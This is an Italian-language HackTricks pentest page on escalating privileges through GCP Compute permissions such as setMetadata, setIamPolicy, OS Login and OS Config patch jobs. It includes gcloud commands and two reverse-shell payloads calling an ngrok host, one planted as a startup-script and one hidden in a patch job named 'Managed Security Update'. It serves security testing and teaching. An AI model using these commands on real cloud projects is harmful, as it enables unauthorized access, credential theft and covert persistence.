# GCP - Compute Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Compute

Per ulteriori informazioni su Compute e VPC (rete) in GCP controlla:

{{#ref}}
../../gcp-services/gcp-compute-instances-enum/
{{#endref}}

> [!CAUTION]
> Nota che per eseguire tutti gli attacchi di escalation dei privilegi che richiedono di modificare i metadati dell'istanza (come aggiungere nuovi utenti e chiavi SSH) è **necessario avere permessi `actAs` sul SA allegato all'istanza**, anche se il SA è già allegato!

### `compute.projects.setCommonInstanceMetadata`

Con quel permesso puoi **modificare** le informazioni di **metadata** di un'**istanza** e cambiare le **chiavi autorizzate di un utente**, o **creare** un **nuovo utente con permessi sudo**. Pertanto, sarai in grado di eseguire via SSH in qualsiasi istanza VM e rubare il GCP Service Account con cui l'istanza sta funzionando.\
Limitazioni:

- Nota che i GCP Service Accounts in esecuzione nelle istanze VM per impostazione predefinita hanno un **ambito molto limitato**
- Dovrai essere **in grado di contattare il server SSH** per accedere

Per ulteriori informazioni su come sfruttare questo permesso controlla:

{{#ref}}
gcp-add-custom-ssh-metadata.md
{{#endref}}

Puoi anche eseguire questo attacco aggiungendo un nuovo startup-script e riavviando l'istanza:
```bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance
```
### `compute.instances.setMetadata`

Questo permesso offre **gli stessi privilegi del permesso precedente** ma su istanze specifiche invece che su un intero progetto. **Gli stessi exploit e limitazioni della sezione precedente si applicano**.

### `compute.instances.setIamPolicy`

Questo tipo di permesso ti permetterà di **assegnare a te stesso un ruolo con i permessi precedenti** e di elevare i privilegi abusandone. Ecco un esempio di aggiunta di `roles/compute.admin` a un Service Account:
```bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
```
### **`compute.instances.osLogin`**

Se **OSLogin è abilitato nell'istanza**, con questo permesso puoi semplicemente eseguire **`gcloud compute ssh [INSTANCE]`** e connetterti all'istanza. Non **avrai privilegi di root** all'interno dell'istanza.

> [!TIP]
> Per effettuare correttamente il login con questo permesso all'interno dell'istanza VM, devi avere il permesso `iam.serviceAccounts.actAs` sul SA associato alla VM.

### **`compute.instances.osAdminLogin`**

Se **OSLogin è abilitato nell'istanza**, con questo permesso puoi semplicemente eseguire **`gcloud compute ssh [INSTANCE]`** e connetterti all'istanza. Avrai **privilegi di root** all'interno dell'istanza.

> [!TIP]
> Per effettuare correttamente il login con questo permesso all'interno dell'istanza VM, devi avere il permesso `iam.serviceAccounts.actAs` sul SA associato alla VM.

### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp`

È possibile **creare una macchina virtuale con un Service Account assegnato e rubare il token** dell'account di servizio accedendo ai metadati per elevare i privilegi su di esso.

Lo script di exploit per questo metodo può essere trovato [qui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py).

### `osconfig.patchDeployments.create` | `osconfig.patchJobs.exec`

Se hai i permessi **`osconfig.patchDeployments.create`** o **`osconfig.patchJobs.exec`** puoi creare un [**lavoro di patch o distribuzione**](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching). Questo ti permetterà di muoverti lateralmente nell'ambiente e ottenere l'esecuzione di codice su tutte le istanze di calcolo all'interno di un progetto.

Nota che al momento non **hai bisogno del permesso `actAs`** sul SA associato all'istanza.

Se vuoi sfruttare manualmente questo, dovrai creare o un [**lavoro di patch**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **o** [**distribuzione**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**.**\
Per un lavoro di patch esegui:
```python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
```
Per distribuire un'implementazione di patch:
```bash
gcloud compute os-config patch-deployments create <name> ...
```
Lo strumento [patchy](https://github.com/rek7/patchy) potrebbe essere stato utilizzato in passato per sfruttare questa misconfigurazione (ma ora non funziona).

**Un attaccante potrebbe anche abusare di questo per la persistenza.**

### `compute.machineImages.setIamPolicy`

**Concediti permessi extra** per l'immagine di calcolo.

### `compute.snapshots.setIamPolicy`

**Concediti permessi extra** per uno snapshot del disco.

### `compute.disks.setIamPolicy`

**Concediti permessi extra** per un disco.

### Bypassare gli Scopi di Accesso

Seguendo questo link troverai alcune [**idee per provare a bypassare gli scopi di accesso**](../).

### Escalation Locale dei Privilegi in un'istanza GCP Compute

{{#ref}}
../gcp-local-privilege-escalation-ssh-pivoting.md
{{#endref}}

## Riferimenti

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

{{#include ../../../../banners/hacktricks-training.md}}
